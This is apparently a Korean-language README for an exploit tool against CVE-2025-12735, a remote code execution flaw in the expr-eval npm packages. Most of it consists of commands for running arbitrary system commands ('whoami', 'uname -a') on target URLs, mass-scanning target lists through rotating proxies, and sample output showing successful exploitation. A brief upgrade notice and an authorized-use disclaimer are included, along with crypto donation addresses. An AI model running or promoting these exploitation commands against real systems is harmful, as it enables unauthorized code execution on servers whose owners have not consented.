
CVE-2025-12735(expr-eval RCE 취약점) 탐지 및 테스트를 위한 보안 연구 도구
expr-eval 및 expr-eval-fork npm 패키지에서 CVE-2025-12735 취약점을 탐지하고 테스트하기 위한 보안 연구 도구입니다.
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 도구는 소유한 시스템이나 명시적인 서면 승인을 받은 시스템에서만 사용하세요.
CVE-2025-12735는 expr-eval 및 expr-eval-fork npm 패키지의 치명적인 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 공격자가 파서에서 사용하는 context 객체 내에 임의의 함수를 정의할 수 있게 하여, 시스템 수준의 명령을 실행하는 악성 코드를 주입할 수 있도록 합니다.
CVSS 점수: 9.8 (치명적)
영향을 받는 버전: expr-eval-fork < 3.0.0
수정된 버전: expr-eval-fork v3.0.0+
# Clone the repository
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Install dependencies
pip install requests
# Single target
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Execute custom command
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# With threading for faster scanning
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Verbose output for debugging
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url Target URL
-f, --file File containing target URLs (one per line)
-c, --command Command to execute (default: id)
-t, --threads Number of threads (default: 1)
-o, --output Output file (default: uknf_expr_eval_results.json)
-v, --verbose Enable verbose logging
--proxy Proxy URL (e.g., http://127.0.0.1:8080)
--proxy-list File containing proxy URLs (one per line)
스크립트는 상세 결과가 포함된 JSON 파일을 생성합니다:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
expr-eval 또는 expr-eval-fork를 사용 중이라면:
즉시 업그레이드하세요:
npm install expr-eval-fork@latest
보안 패치를 적용하세요:
입력 검증을 구현하세요:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
기여는 환영합니다! Pull Request를 자유롭게 제출해 주세요.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)문제가 발생하거나 제안 사항이 있으면 GitHub에 이슈를 등록해 주세요.
이 프로젝트는 MIT 라이선스로 배포됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 도구가 유용하다면 GitHub에서 Star를 남겨 주시기 바랍니다!
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 저자는 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 사용자는 시스템을 테스트하기 전에 적절한 권한을 보유하고 있는지 확인할 책임이 있습니다.
이 도구가 유용하다고 생각되고 프로젝트를 지원하고 싶다면:
비트코인(BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
이더리움(ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
지원해 주셔서 감사합니다! 🙏